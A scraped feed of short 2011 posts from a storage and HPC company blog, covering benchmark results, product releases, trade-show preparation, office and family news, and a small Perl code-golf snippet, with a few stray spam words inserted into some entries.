new code golfing site. Gaaaak! If I have time to work on such diversions, I’ll post mine under the ID numbercruncher. [update] Played with the starburst code. Have something that works (though they failed to specify their input method, or their output requirement, e.g. newlines, etc.) This is at 135 characters: <code> $l=@a=split//,shift;$i=-1;while($i++< $l){map$x[$_]=" ",0..$l;$i==int$l/2?@x=@a:map$x[$_]=$a[$i],$i,$l/2,$l-$i-1;print join"",@x,"\n";} </code> </code> which for the input “asdfd” gives a a a sss asdfd fff d d d among other things. https://blog.scalability.org/2011/12/this-one-hits-it-out-of-the-park/ Fri, 23 Dec 2011 03:43:55 +0000 https://blog.scalability.org/2011/12/this-one-hits-it-out-of-the-park/ On James' blog Heh. I think we’ve had and seen others have this conversation before. RAID is not a backup. Backup is very important. Ok, I did burst out laughing. The low level scan of 1PB of data to find data on the “no_backup” folder … Yeah. Customer has a file system. We’ve asked them “is your data important” and they’ve answered “no”. And we try to really get whether or not its important out of them, as they didn’t spend money on a backup, and there is the potential for a single failure to take down their data. https://blog.scalability.org/2011/12/did-you-ever-realize-you-were-doing-something-wrong/ Thu, 22 Dec 2011 04:44:19 +0000 https://blog.scalability.org/2011/12/did-you-ever-realize-you-were-doing-something-wrong/ In a number of our tools, I’ve written rudimentary command parser hacks using getopt and some creative ARGV processing. And this almost always led to something more complex and harder to develop/maintain. For something else we are looking at, I’ve been exploring “compilers”. Basically, define a grammar to do something, then do it. Keep the grammar consistent, simple, and easy to manage. Turns out that this maps far better into our target code than I would have thought. https://blog.scalability.org/2011/12/is-java-done/ Wed, 21 Dec 2011 17:56:56 +0000 https://blog.scalability.org/2011/12/is-java-done/ Latest updates from all distro vendors. Java plugins no longer work on any browsers. Updated from Oracle, or the OpenJDK stack, or … Doesn’t matter. Can’t get it to work anywhere. This is a positive development … right? We can call this “experiment” over? Maybe all the nice folks who’ve been coding their IPMI/iLOM tools for years as Java clients will now … please … switch to HTML5 so we can drop this anachronism from our machines for once and for all? https://blog.scalability.org/2011/12/partially-ot-something-i-am-going-to-write-about-soon/ Wed, 21 Dec 2011 06:32:36 +0000 https://blog.scalability.org/2011/12/partially-ot-something-i-am-going-to-write-about-soon/ Business models and business model changes. Not ours, but a general observation I’ve made. This is oddly important for me (outside of the business) as I’ve been writing some stuff I’ve been thinking of submitting for “publication”, and what “publication” means is rapidly changing. FWIW: this is science fiction stuff. I’m an avid reader of these things (much to my wife’s dismay, given the number of books I buy), and I am enjoying writing this stuff as well. https://blog.scalability.org/2011/12/incremental-update-an-extra-10-15-out-of-jackrabbit-jr4/ Tue, 20 Dec 2011 16:17:46 +0000 https://blog.scalability.org/2011/12/incremental-update-an-extra-10-15-out-of-jackrabbit-jr4/ This is nice. Our JackRabbit JR4 high performance tightly coupled storage and computing unit, 54TB usable (72TB raw). Simple 64GB uncached streaming read/write. Run status group 0 (all jobs): READ: io=65412MB, aggrb=2515.3MB/s, minb=2575.7MB/s, maxb=2575.7MB/s, mint=26006msec, maxt=26006msec Run status group 0 (all jobs): WRITE: io=65412MB, aggrb=2619.3MB/s, minb=2682.7MB/s, maxb=2682.7MB/s, mint=24974msec, maxt=24974msec Yeah, thats about 10-15% better performance (newer driver, updated/tuned kernel, …) Nice! FWIW: some of our competitors have trouble sustaining this performance out of their storage clusters with double to quadruple the number of drives, RAIDs, etc. https://blog.scalability.org/2011/12/finally-moving-to-git/ Sat, 17 Dec 2011 20:08:13 +0000 https://blog.scalability.org/2011/12/finally-moving-to-git/ Yeah, its taken a while. I started out many moons ago with tools like rcs/sccs, moved to the great new CVS when it came out. Then when subversion (SVN) came out later on, I happily set up a private instance, and tried learning it. Wasn’t too painful. But SVN doesn’t do collaborative development very well. Actually, “not very well” is being kind to SVN. SVK was a perl wrapper around SVN that added some of what we needed. https://blog.scalability.org/2011/12/positive-signs/ Thu, 15 Dec 2011 21:03:16 +0000 https://blog.scalability.org/2011/12/positive-signs/ икони цениAs the year winds to a close … only 16 days left, we’re still quite busy. I am taking this as a net positive. I’ve heard lots of M&A; whispers over the last few months, some interesting things going on that I can’t talk about (not involving us). We’ve got lots of potential activity for Q1 lined up, and this is … good. :) More soon. (Won’t have monster 7 part posts next week, but some I’ve been thinking about for a long time and have been wanting to write about) https://blog.scalability.org/2011/12/dear-joe/ Thu, 15 Dec 2011 17:58:39 +0000 https://blog.scalability.org/2011/12/dear-joe/ … thanks for being a partner of ours. Unfortunately, the 10x baseline requirement amount of gear that you purchased through other channels doesn’t matter to us, you must purchase the baseline amount by years end (today is 15-December) through one of these very specific (and problematic) channels to remain being a partner. Oh, and there are a few other things you have to do by years end, that we’ve notified you of only 2 days ago. https://blog.scalability.org/2011/12/as-tiburon-progresses/ Mon, 12 Dec 2011 17:15:47 +0000 https://blog.scalability.org/2011/12/as-tiburon-progresses/ We are now booting: Redhat 6.1, Centos 6.0, Ubuntu 11.04, and others (including VMs!) via tiburon. Completely painless for compute and storage nodes. This is letting us get to the next phase: Application Specific Nodes (or “appliances on demand” in more common language). Basic idea is, spend zero … identically zero time on your expensive private/public cluster/cloud/grid/yadda yadda doing an installation. Seriously, you should not be paying cloud providers for this, and if you are, this is a problem. https://blog.scalability.org/2011/12/semi-ot-new-laptop-is-in/ Sun, 11 Dec 2011 14:22:17 +0000 https://blog.scalability.org/2011/12/semi-ot-new-laptop-is-in/ Have Linux loaded. And windows 7 pro (actually upgraded from the windows 7 home they had). Ok … I like it. It is very fast. About as heavy (maybe a little more so than the Dell). Keyboard is a chicklet style. I’m ok with this, Dell had a more standard type of keyboard. I can touch type on this without problem. If anything, I like it a little better. Graphics are awesome. https://blog.scalability.org/2011/12/big-memory-machines-part-2-this-time-with-working-riser-cards/ Thu, 08 Dec 2011 19:57:58 +0000 https://blog.scalability.org/2011/12/big-memory-machines-part-2-this-time-with-working-riser-cards/ Yeah baby! top - 14:55:24 up 2:38, 1 user, load average: 0.13, 0.17, 0.17 Tasks: 697 total, 1 running, 696 sleeping, 0 stopped, 0 zombie Cpu(s): 0.1%us, 0.1%sy, 0.0%ni, 99.8%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 1009.840G total, 18.159G used, 991.680G free, 0.000k buffers Swap: 0.000k total, 0.000k used, 0.000k free, 148.590M cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ P COMMAND 4455 root 20 0 15532 1720 944 R 1. https://blog.scalability.org/2011/12/update-on-the-lawyer-bomb-across-our-bow/ Thu, 08 Dec 2011 07:56:26 +0000 https://blog.scalability.org/2011/12/update-on-the-lawyer-bomb-across-our-bow/ Yeah, with all what we have going on, the last thing we need is a clueless company firing a lawyer-bomb across our bow. Remember that life isn’t fair, no time is ever a good time, and sh!t happens. It seems that the whole purpose of their … er … communication … was to try to get us to buy the property rather than taking us to court for rent that is not due them. https://blog.scalability.org/2011/12/ot-options-are-known-surgery-date-is-set/ Thu, 08 Dec 2011 07:29:55 +0000 https://blog.scalability.org/2011/12/ot-options-are-known-surgery-date-is-set/ In any cancer, it appears the most important thing is to control its growth, arrange for removal, and expedite this process. You don’t want the buggers hanging around for longer than needed. We got our surgery date this past Monday. 1 day after my daughter’s 12th birthday, my wife will undergo the operation. Its the recovery process we are preparing for, though the sheer velocity of this stuff is hitting hard. https://blog.scalability.org/2011/12/ok-i-gave-in-and-did-it/ Wed, 07 Dec 2011 02:59:05 +0000 https://blog.scalability.org/2011/12/ok-i-gave-in-and-did-it/ My trusty Dell laptop is about to be retired. Been a year and a half overdue. Doug was working hard trying to sell me the benefits of Mac Air (he has the company’s only unit). He also has the Mac mini on his desk. I need a serious graphics card in the laptop. An NVidia card (for the occasional CUDA programming bit, and some things I work on in the background) is preferred. https://blog.scalability.org/2011/12/annoying-regression-in-gluster/ Sun, 04 Dec 2011 20:07:51 +0000 https://blog.scalability.org/2011/12/annoying-regression-in-gluster/ https://blog.scalability.org/2011/12/moving-web-code-base-from-catalyst-to-mojolicious/ Sun, 04 Dec 2011 03:31:01 +0000 https://blog.scalability.org/2011/12/moving-web-code-base-from-catalyst-to-mojolicious/ Its a long story. For those who don’t know, Catalyst is a Perl based web framework. So is Mojolicious. The person who started developing Catalyst years ago, left that group, and started Mojolicious later on. I like many things about Catalyst. Like other MVC frameworks, it lets you divide up your logic between controllers (the heavy lifters), the model (aka the database), and the display logic. Prior to this, I wrote some rather ugly looking code which combined controllers and display logic. https://blog.scalability.org/2011/12/monitoring-tools/ Sun, 04 Dec 2011 02:41:38 +0000 https://blog.scalability.org/2011/12/monitoring-tools/ We have a collection of tools that we use for various monitoring. Some are the classical standards (iostat, vmstat, …), the somewhat more heavyweight (collectl, dstat), the simple (not in a bad way) graphical tools (munin, ganglia, …). We’ve found tools like Zabbix do a good job of killing some machines, as there are often memory leaks in these tools. What we’ve not found, anywhere, has been a good set of simple measurement tools that provide data in an easy manner that allow for easy inclusion into something akin to a dashboard. https://blog.scalability.org/2011/12/big-memory-machines/ Fri, 02 Dec 2011 19:23:31 +0000 https://blog.scalability.org/2011/12/big-memory-machines/ Haven’t finished debugging this unit yet. Thought you might like to see top info. These are physical CPUs BTW, not SMT. top - 09:21:29 up 3 min, 2 users, load average: 0.22, 0.21, 0.09 Tasks: 219 total, 1 running, 218 sleeping, 0 stopped, 0 zombie Cpu0 : 0.7%us, 0.3%sy, 0.0%ni, 99.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu1 : 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu2 : 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0. https://blog.scalability.org/2011/12/ahhh-drama-just-what-i-need-right-now/ Thu, 01 Dec 2011 18:49:02 +0000 https://blog.scalability.org/2011/12/ahhh-drama-just-what-i-need-right-now/ Way back some time ago, our landlord, whom we were somewhat concerned about due to their financial state (lots of vacant spots here in our complex), had their mortgage called by the bank that took over for the bank they’ve had before, when it went belly up. That new bank called their loan. They didn’t notify us of this until we got the note from the lawyer demanding we pay them rent rather than the landlord. https://blog.scalability.org/2011/11/ot-it-really-focuses-your-attention-on-the-important-things/ Tue, 29 Nov 2011 06:30:21 +0000 https://blog.scalability.org/2011/11/ot-it-really-focuses-your-attention-on-the-important-things/ [Update below the fold] My wife has this tongue-in-cheek “theory” on balance in the universe. Comes from being a physics geek I guess (yeah, we are a pair). Maybe I’ll tell the “spherical horse” joke some day again, in public. Our opening of 2011 was, well, crappy. And thats an understatement. We lost her father Frank to cancer. He had fought off one form, and 2 years later, it reared its ugly head. https://blog.scalability.org/2011/11/i-just-cant-say-enough-good-things-about-hps-procurve-networking-gear/ Mon, 28 Nov 2011 20:27:02 +0000 https://blog.scalability.org/2011/11/i-just-cant-say-enough-good-things-about-hps-procurve-networking-gear/ Basically, their support rocks! Their switches are pretty good to begin with. But (apart from very long phone waits … 50+ minutes in this case), their support team is exactly what I want to deal with. No nonsense, speaking to someone who knows whats going on with the units. Kudos again to #HP ! https://blog.scalability.org/2011/11/some-of-the-more-mainstream-publications-are-now-at-least-acknowledging-the-prospect-of-an-epic-failure/ Fri, 25 Nov 2011 17:26:32 +0000 https://blog.scalability.org/2011/11/some-of-the-more-mainstream-publications-are-now-at-least-acknowledging-the-prospect-of-an-epic-failure/ … in climategate … The registers piece isn’t bad. Actually quite good. Their thesis is “this sort of stuff happens when you get big money/politics following dubious claims, a cottage industry and group think evolve”. They note similar examples from other industries. I am not saying I completely agree with their characterization, it sounds reasonable, but it is comparing somewhat dislike things with a similar metric. The issue is the public policy (and money, influence, power, …) flow from the political class and could polute the underpinnings of the scientific class. https://blog.scalability.org/2011/11/senses-of-urgency/ Wed, 23 Nov 2011 17:42:42 +0000 https://blog.scalability.org/2011/11/senses-of-urgency/ We do lots of business with customers who want things yesterday. We do what we can to accommodate, but we do build things in a just-in-time model. Avoids costly inventory, and keeps us nimble. This also means we have to micromanage our suppliers. Many don’t quite understand what a “sense of urgency” means. When we tell them we want something by a specific date, and they ship it a month later … Or a case we are dealing with now, where we’ve had a long/huge wait from a supplier, who then shipped us something non-working. https://blog.scalability.org/2011/11/announcing-dust-v1-0/ Tue, 22 Nov 2011 19:17:47 +0000 https://blog.scalability.org/2011/11/announcing-dust-v1-0/ Dust has finally …. FINALLY …. been released. We’ve had the driver update packs out there for a while, but finally we’ve released DUST. What is DUST you might say? How about a way to automatically update drivers from source/distributions? But wait … isn’t that just dkms? Sort of. We’ve found … horrific problems … with DKMS that we couldn’t solve. We wound up writing scripts to work around DKMS as it didn’t build things the way we needed them built. https://blog.scalability.org/2011/11/uptick-in-requests-for-software-only-solution/ Mon, 21 Nov 2011 03:07:57 +0000 https://blog.scalability.org/2011/11/uptick-in-requests-for-software-only-solution/ Some locations are farther than others, and this makes shipping gear pretty expensive. We’ve been asked for a software only version of our stack from the 2 remaining continents we don’t have installs on (ok, 2 of 3 … not to much business in Antarctica right now). I won’t get into the positives/negatives of this business model. Shipping bits lowers costs as compared to shipping atoms. But atoms are tangible, and require a cost to reproduce patterns that bits don’t impose. https://blog.scalability.org/2011/11/sc11-benchmarketing-gone-horribly-awry/ Sat, 19 Nov 2011 20:30:04 +0000 https://blog.scalability.org/2011/11/sc11-benchmarketing-gone-horribly-awry/ OMFG … we were (and are) continuously inundated with benchmarketing numbers. These numbers purport to represent the system in question. They don’t. We can derive their numbers by multiplying the number of drives by the theoretical best case performance, assuming everything else is perfect. Never mind that it never is perfect. Its that the benchmarketing numbers haven’t been measured, in a real context. We do the measurements in a real context and report the results to end users. https://blog.scalability.org/2011/11/sc11-interviews-observations-and-thoughts/ Sat, 19 Nov 2011 20:00:36 +0000 https://blog.scalability.org/2011/11/sc11-interviews-observations-and-thoughts/ Yeah, this show had lots of folks talking storage. Obviously we did too. Nicole from Datanami (she had a terrible cold running at the time, I hope she is feeling better), asked me to give a short set of non advertising type interviews. Below is what I did, given no prep, no forwarning, and about 30 seconds to mentally prepare (and that might be generous). Part 1: Big Data in Media and Entertainment https://blog.scalability.org/2011/11/sc11-wrap-up-part-1-short/ Sat, 19 Nov 2011 19:20:10 +0000 https://blog.scalability.org/2011/11/sc11-wrap-up-part-1-short/ Back in Michigan. ?Long flight, quite tired, but back. This was a good show for us. ?A very good show. ?Gave away lots of siMugs, released siFlash, did demos and had discussions. Generally speaking, we had good booth traffic, and many readers of this blog came by to say hello. ?Thank you for that! ?I very much enjoyed this, and meeting people in person for the first time. Sponsoring Beobash was fun. https://blog.scalability.org/2011/11/sc11-t-1-and-counting-beobash-booth-and-stuff/ Tue, 15 Nov 2011 08:00:02 +0000 https://blog.scalability.org/2011/11/sc11-t-1-and-counting-beobash-booth-and-stuff/ Tonight was/is Beobash. ?First time I stopped drinking the beer, and started buying the beer. ?Was very nice, but we were (collectively and individually) exhausted. ?Snapped a few pics. ?Will try to have them up tomorrow. ?Very nice venue. ?Very good crowd. Booth (#SC11 booth 4101) is up. ?Amazingly, everything seems to be working. ?Even missed shipping a few things (yes, yes we did), and for the most part, was able to fix that. https://blog.scalability.org/2011/11/sc11-t-minus-2-days-on-the-plane-yeah-on-the-plane/ Sun, 13 Nov 2011 21:21:10 +0000 https://blog.scalability.org/2011/11/sc11-t-minus-2-days-on-the-plane-yeah-on-the-plane/ Somewhere over Montana, around Helena. ?Bumpy weather up ahead. ?Finished PR v1 for siFlash, Doug is editing. ?Will get this out tomorrow at a few venues (we’ve promised one specific one will be first). Working on the presentations for the booth. ?siFlash intro, the whole arc with big data, siCluster and our JackRabbit and DeltaV point storage units, and Tiburon. ?And the use cases presentation. ?Didn’t have time to get permission to get company name usage permission (e. https://blog.scalability.org/2011/11/sc11-t-minus-3-days-the-dayjob-mailing/ Sat, 12 Nov 2011 22:03:02 +0000 https://blog.scalability.org/2011/11/sc11-t-minus-3-days-the-dayjob-mailing/ Finally got this out the door. There were some issues in doing so … our CRM tool seemed to get brain-freeze. Test emails worked fine. But the real ones? Nah … fuggedaboutit. So here it is, in all its glory. We try our best (really) not to spam. I don’t like it and I know our customers don’t like it. Storage Solutions As a high performance big data storage specialist, Scalable Informatics is well positioned to provide your company with fast, effective, dependable, and cost-effective storage solutions. https://blog.scalability.org/2011/11/sc11-t-minus-3-days-and-counting/ Sat, 12 Nov 2011 21:54:36 +0000 https://blog.scalability.org/2011/11/sc11-t-minus-3-days-and-counting/ Ok. Lets call this an absolutely wild ride so far. I mean, its freaking insane. I cannot remember working so hard and so fast. First off Tiburon, our cluster software package (designed mostly for HPC Storage, and cluster like things) has been an insanely awesome trouper. It just works. And I mean that in a jaw dropping manner. It just freaking works. Part of it may be due to the simplicity of the thing. https://blog.scalability.org/2011/11/the-joys-of-new-tools-and-discovering-brokenmissing-functionality-within-them/ Sat, 05 Nov 2011 16:07:12 +0000 https://blog.scalability.org/2011/11/the-joys-of-new-tools-and-discovering-brokenmissing-functionality-within-them/ The object of my attention this morning is dracut, the replacement for the venerable mkinitrd in the RHEL/Fedora lines. Dracut has great promise, in that it is being built as a construction kit for initial ramdisk for booting Linux. Unfortunately, like mkinitrd, it has a number of … er … failures. Happily it has a concept of an shell you can drop into if things go pear shaped. mkinitrd generates initrd’s that will often simply kernel panic with no way to debug. https://blog.scalability.org/2011/11/using-makefiles-for-analysis-pipelines/ Fri, 04 Nov 2011 21:29:36 +0000 https://blog.scalability.org/2011/11/using-makefiles-for-analysis-pipelines/ Got a mess-of-data. Whole load of it. Need to analyze it. Again and again and again. Don’t want to cut n paste. Or write too much code. Need to automate plot generation. This reminded me of my thesis many (cough cough) years ago. I used a Makefile to automate driving TeX. And image formatting, and final document assembly. Yes, to write my thesis, I typed “make”. Sure enough, same type of process, different decade (cough millennium). https://blog.scalability.org/2011/11/almost-forgot-an-instant-on-cluster/ Fri, 04 Nov 2011 21:22:51 +0000 https://blog.scalability.org/2011/11/almost-forgot-an-instant-on-cluster/ We setup a nice Ubuntu cluster for a customer in the financial services world recently. They wanted something that was similar enough to what they knew, and was as close to painless for them to use as possible. Make it like a Ubuntu system. And make it easy to manage. Real easy. The issue was and is, pretty much none of the major cluster distros really support Ubuntu. A few have some hacks to enable some level of support. https://blog.scalability.org/2011/11/in-sc-mode-and-trying-to-ship-orders-before-we-fly-out-and-working-on-support-and/ Fri, 04 Nov 2011 13:53:25 +0000 https://blog.scalability.org/2011/11/in-sc-mode-and-trying-to-ship-orders-before-we-fly-out-and-working-on-support-and/ I’m gonna need another vacation soon. This is nuts. Got a bunch of machines going out to the UK next week, a set of SSDs off to Sweden, machines to Texas, and California. New orders from the east coast (a number of repeat customers). Oh … and trying to get our demo systems built, and ready, and the demos up. And get the presentations together. And the PR done. And the investment thingy (gotta nudge the lawyer again, really wanted to announce this by SC11). https://blog.scalability.org/2011/10/and-now-readers-its-time-for-deep-thoughts/ Mon, 31 Oct 2011 20:11:46 +0000 https://blog.scalability.org/2011/10/and-now-readers-its-time-for-deep-thoughts/ [the guru sits down and starts typing with nonchalance] Complex software stacks lead to complex and often opaque failure modes. [slight bow, stands up, leaves room] Infiniband …. WHY WHY WHY WHY WHY … (grumble) https://blog.scalability.org/2011/10/and-sandforce-is-gobbled-up-by-lsi/ Fri, 28 Oct 2011 18:30:09 +0000 https://blog.scalability.org/2011/10/and-sandforce-is-gobbled-up-by-lsi/ From the register … This is interesting, as LSI appears to be girding for the next gen in storage. Flash (the PCIe variant) and SSD (the disk channel variant) are on the rise, and things that add value in that chain will be quite interesting acquisitions. We work closely with Virident, and it wouldn’t surprise me if they, or Texas Memory Systems were acquired by a larger entity. This isn’t consolidation in the classical sense, this is girding for future battle. https://blog.scalability.org/2011/10/sc11-countdown-and-some-administrivia/ Fri, 28 Oct 2011 04:56:21 +0000 https://blog.scalability.org/2011/10/sc11-countdown-and-some-administrivia/ So we are on the long march to #SC11 (we are booth 4101, please do stop by!). Figuring out the final bits of the booth content. Working on presentations. Hoping we will have enough disks for the demos I am working on putting together. Then the fun stuff. The mugs: Doug and I had fun with these. Aren’t giving them out to everyone … you have to really cozy up to us for one … and we will have a Keurig coffee/tea maker there so we can fill em. https://blog.scalability.org/2011/10/is-this-another-perl-indistinguishable-from-line-noise-argument-dont-know/ Fri, 28 Oct 2011 03:04:41 +0000 https://blog.scalability.org/2011/10/is-this-another-perl-indistinguishable-from-line-noise-argument-dont-know/ … but I do know that the analysis has some … er … flaws. Yeah. Flaws. I’ll ignore their sample size issue for the moment (though it does go to the size of their error bars … I hope they appreciate the inverse functional relationship between these two). Take two sets of data with error bars. Put them down on the same graph. The data from each set overlaps within the error bars of the other set. https://blog.scalability.org/2011/10/a-new-spin-on-hard-cases-make-for-bad-laws-but-with-benchmark-codes/ Thu, 27 Oct 2011 21:12:42 +0000 https://blog.scalability.org/2011/10/a-new-spin-on-hard-cases-make-for-bad-laws-but-with-benchmark-codes/ We run (as you might imagine) lots of benchmarks. We do lots of system tuning. We start with null hypotheses and work from there. Sometimes you can call that the baseline expected measurements. Your call on what you want to call it. But a measurement implicitly implies a comparison to a known quantity. In the case of the baseline or null hypothesis, you measure what you should believe to be a reasonable configuration, the way it would be used. https://blog.scalability.org/2011/10/iris-are-you-our-new-overlord/ Wed, 26 Oct 2011 19:43:13 +0000 https://blog.scalability.org/2011/10/iris-are-you-our-new-overlord/ So I started playing with Iris on my android phone. Not because of Siri envy, but because I heard it was … er … interesting. I started out with the usual … Me: “What is the airspeed of an unladen swallow” Iris: 28 miles per hour Ok, that was interesting. Then I asked a few other fact based questions, should be easy to answer. Finally, I wanted to see if there was some humor in what it might say (not that Iris has a personality that wishes to express humor, but possibly on the part of its programmers, or in the search results). https://blog.scalability.org/2011/10/ot-minor-drama-of-renting-an-office/ Wed, 26 Oct 2011 15:04:44 +0000 https://blog.scalability.org/2011/10/ot-minor-drama-of-renting-an-office/ So we have our site at a nice small light industrial site. Good pricing, reasonable location. Been here 3+ years. The landlord is about to lose the property to either the bank due to their missing paying their mortgage, or the state, because they haven’t paid property taxes. Oh, and they haven’t paid water or trash collection bills. Found out about all of this last week when we were in NJ installing a cluster. https://blog.scalability.org/2011/10/anti-scaling-1n-problems/ Wed, 26 Oct 2011 04:14:35 +0000 https://blog.scalability.org/2011/10/anti-scaling-1n-problems/ Imagine you have a fixed sized resource. Imagine you can completely consume that resource from 1 client. Now make this two clients, and completely consume the resource. Which is of fixed size. Each client will get 1/2 (on average) of the resource. Now make this four clients, and completely consume the resource. Which is of fixed size. Each client will get 1/4 (on average) of the resource. Don’tcha just love that anti-scaling behavior? https://blog.scalability.org/2011/10/design-and-driver-issues-exposed-under-very-high-loads/ Sat, 22 Oct 2011 14:47:59 +0000 https://blog.scalability.org/2011/10/design-and-driver-issues-exposed-under-very-high-loads/ Most folks, when they build Fibre Channel systems, aren’t assuming a very high IOP rate. No, really. Each channel of an FC8 connection is about 1GB/s, which with 4k operations (neglecting overheads and other things), would give you about 256k IOPs. To date, most of these units have been connected to spinning disks, which, individually might max out at 300 IOPs. So from their design perspective, you could put about 874 disks per connection, assuming a perfect configuration, to max out the data channel. https://blog.scalability.org/2011/10/semi-ot-the-best-papers-and-something-of-an-analysis-smackdown/ Fri, 21 Oct 2011 22:45:04 +0000 https://blog.scalability.org/2011/10/semi-ot-the-best-papers-and-something-of-an-analysis-smackdown/ If you haven’t seen the meme running around /. and other places, its that the BEST paper(s) “confirm” (note the scare quotes) AGW. The only problem with this is that its not true. They confirm that GW (climate change) is real (and I am not sure anyone disputes that). Its the “A” part that is the issue. Its been happening for billions of years. Takes some special sort of (not to mention massive amounts of) hubris to elevate a recent planetary occupant to a special status. https://blog.scalability.org/2011/10/in-the-run-up-to-sc11-yeah-im-busy/ Fri, 21 Oct 2011 03:21:35 +0000 https://blog.scalability.org/2011/10/in-the-run-up-to-sc11-yeah-im-busy/ Wow … After getting back from the UK and Sweden, a whole slew of orders came in from several existing and new customers. And booth prep (remember, we are in 4101, stop by and say hello!). And logistics … and support … and box tuning (in house, at customer sites, …) and quoting, and performance monitoring/analysis for several customers (including one where strace seems to have missed child IO processes …). https://blog.scalability.org/2011/10/one-would-think-i-know-this-by-now/ Wed, 12 Oct 2011 23:23:58 +0000 https://blog.scalability.org/2011/10/one-would-think-i-know-this-by-now/ … when you prepare a unit for benchmarking … mebbe … mebbe … its not such a good idea to configure it in … I dunno … super-conservative mode which … er … effectively nukes most of the performance? Mebbe? Maybe normal default config mode … which is pretty much what we should have done … is whats needed? FWIW: for the unit we are bringing to #SC11, 2 initiators over 10GbE iSCSI were running this baby to 850+k IOPs, 4k block random read write (30% mix on write, mostly read) sustained for an hour for well over 100GB of data (far far larger than internal caches). https://blog.scalability.org/2011/10/a-plea-for-sanity-in-benchmarking-ssds-and-storage/ Thu, 06 Oct 2011 00:58:54 +0000 https://blog.scalability.org/2011/10/a-plea-for-sanity-in-benchmarking-ssds-and-storage/ This is really starting to worry me. I see site after site running similar sets of programs against SSDs, generating the same numbers, within error bars. The problem is that the numbers they generate are meaningless due to several measurement flaws. First: Sandforce controllers compress data. Which means that some data (say simple repeating patterns of, oh, I dunno, zeros?) will compress really well, and show bandwidths far higher than real use cases will measure. https://blog.scalability.org/2011/10/rip-steve-and-thanks-for-all-the-fish/ Thu, 06 Oct 2011 00:29:57 +0000 https://blog.scalability.org/2011/10/rip-steve-and-thanks-for-all-the-fish/ Steve Jobs, a young man of 56, passed away this evening. While not so much in traditional HPC, Apple profoundly changed the way we work with … no … the way we use, and think about using computing technology. He is credited with the vision, though Apple has had and does have many very smart people working there. My condolences to his immediate family, and his extended family. Today, we bought our first Mac book Air. https://blog.scalability.org/2011/10/dead-on-redhat-grabs-gluster/ Tue, 04 Oct 2011 12:46:47 +0000 https://blog.scalability.org/2011/10/dead-on-redhat-grabs-gluster/ Readers of this blog will know I’ve been saying this publicly for a while (and no, I had no inside knowledge of this, no knowledge of it whatsoever, no one spoke to me, and I own no shares of any of these companies). Redhat acquiring Gluster is a good thing. While AB, Hitesh, and the team have done a bang up job getting the product out, and doing interesting things with it, they needed additional capital resources to take it to the next level. https://blog.scalability.org/2011/09/hpcwire-readers-choice-awards-feel-free-to-write-in-awesome-companiesproducts/ Sat, 24 Sep 2011 17:20:08 +0000 https://blog.scalability.org/2011/09/hpcwire-readers-choice-awards-feel-free-to-write-in-awesome-companiesproducts/ See their link. They seem to have nicely allowed for write-ins, which makes voting better :) We don’t do much in manufacturing, so there’s little point to this for us. In HPC for life sciences, Scalable Informatics JackRabbit is in use at a number of sites as a very high performance storage unit. We don’t do much in automotive either. We do lots in financial services; with our Scalable Informatics JackRabbit being the best in breed performance for spinning rust systems, and from my understanding, causing some of our friends with pure PCIe Flash or SSD to say WTH! https://blog.scalability.org/2011/09/knobs-that-work/ Fri, 23 Sep 2011 02:56:37 +0000 https://blog.scalability.org/2011/09/knobs-that-work/ As mentioned earlier, we’ve had a consistent problem with a few customers who wish to ignore their bills. They’d like to pretend we have no interest in getting paid, so they don’t pay. This is part of the reason why we’ve stopped acting like a bank. We aren’t very good at it, and its not our core competency. You want credit, go to a bank. You want the fastest (in terms of measured speed, not theoretical guesses) storage you can get, we can help. https://blog.scalability.org/2011/09/hps-board-asks-a-deep-fundamental-question-possibly-10-months-too-late/ Wed, 21 Sep 2011 21:39:54 +0000 https://blog.scalability.org/2011/09/hps-board-asks-a-deep-fundamental-question-possibly-10-months-too-late/ “Is this the right person for the job”? I pointed out that the direction itself was probably not that well thought out, and the concept … dropping 1/3 of your revenue base, when you are atop the market in terms of installed base and run rate, probably wasn’t an idea that really should have been given serious credence. HP’s board is now, belatedly, asking … do we have the right person for the job? https://blog.scalability.org/2011/09/on-the-test-track-with-some-new-relampago-device/ Wed, 21 Sep 2011 20:17:33 +0000 https://blog.scalability.org/2011/09/on-the-test-track-with-some-new-relampago-device/ and we hit the throttle … crack it open … lets see what this baby can do Looking at a sustained … well … I dunno … 1.2 million IOPs? Occasional bursts to 2.4M IOPs? At very nearly 10 GB/s? What does fio say? read : io=524416MB, bw=9339.6MB/s, iops=1195.5K, runt= 56150msec and Run status group 0 (all jobs): READ: io=524416MB, aggrb=9339.6MB/s, minb=9563.8MB/s, maxb=9563.8MB/s, mint=56150msec, maxt=56150msec Nice! You may see something like this at SC11. https://blog.scalability.org/2011/09/semi-ot-solar-ypsi/ Wed, 21 Sep 2011 02:27:22 +0000 https://blog.scalability.org/2011/09/semi-ot-solar-ypsi/ Sometimes you know what your friends and acquaintances are up to … and sometimes you see them in adverts for Google search … Here’s the advert: Its semi-OT as the person, Dave Strenski, is also an HPC hand of quite a stretch at Cray, and has been a colleague of mine during our SGI/Cray days. He was one of the reasons I thought Cray had some of simply the best technical people anywhere. https://blog.scalability.org/2011/09/some-boot-options-considered-harmful-to-performance/ Fri, 16 Sep 2011 23:26:16 +0000 https://blog.scalability.org/2011/09/some-boot-options-considered-harmful-to-performance/ иконопис(BTW: still in London, then off to Stockholm, then home) A customer just saw this with RHEL 6. Windows performance was higher than Linux performance on the same machine. The customer didn’t understand it, we guessed at first about it, and in the end our initial guess was wrong. But we caught what was wrong, with a WAG, and it troubled me. So I wrote this. First clue as to the nature of the problem came from numastat. https://blog.scalability.org/2011/09/coming-soon-to-a-jackrabbit-and-deltav-near-you/ Thu, 08 Sep 2011 20:27:29 +0000 https://blog.scalability.org/2011/09/coming-soon-to-a-jackrabbit-and-deltav-near-you/ … 4TB drives. Imagine, a nice 192TB in a single unit, coupled to a 5GB/s data movement engine. Coming soon … :)иконописikoni https://blog.scalability.org/2011/09/hitachi-data-systems-acquires-bluearc/ Thu, 08 Sep 2011 14:58:26 +0000 https://blog.scalability.org/2011/09/hitachi-data-systems-acquires-bluearc/ [disclosure note: this is our space, so we have definite opinions on this] This was liable to be the only possibly path for Bluearc to continue outside of an IPO. The latter would probably not have gone well. They raised their last round of capital a year ago. Reading what I wrote then, it was fairly prescient. Since that was written, EMC acquired Isilon, 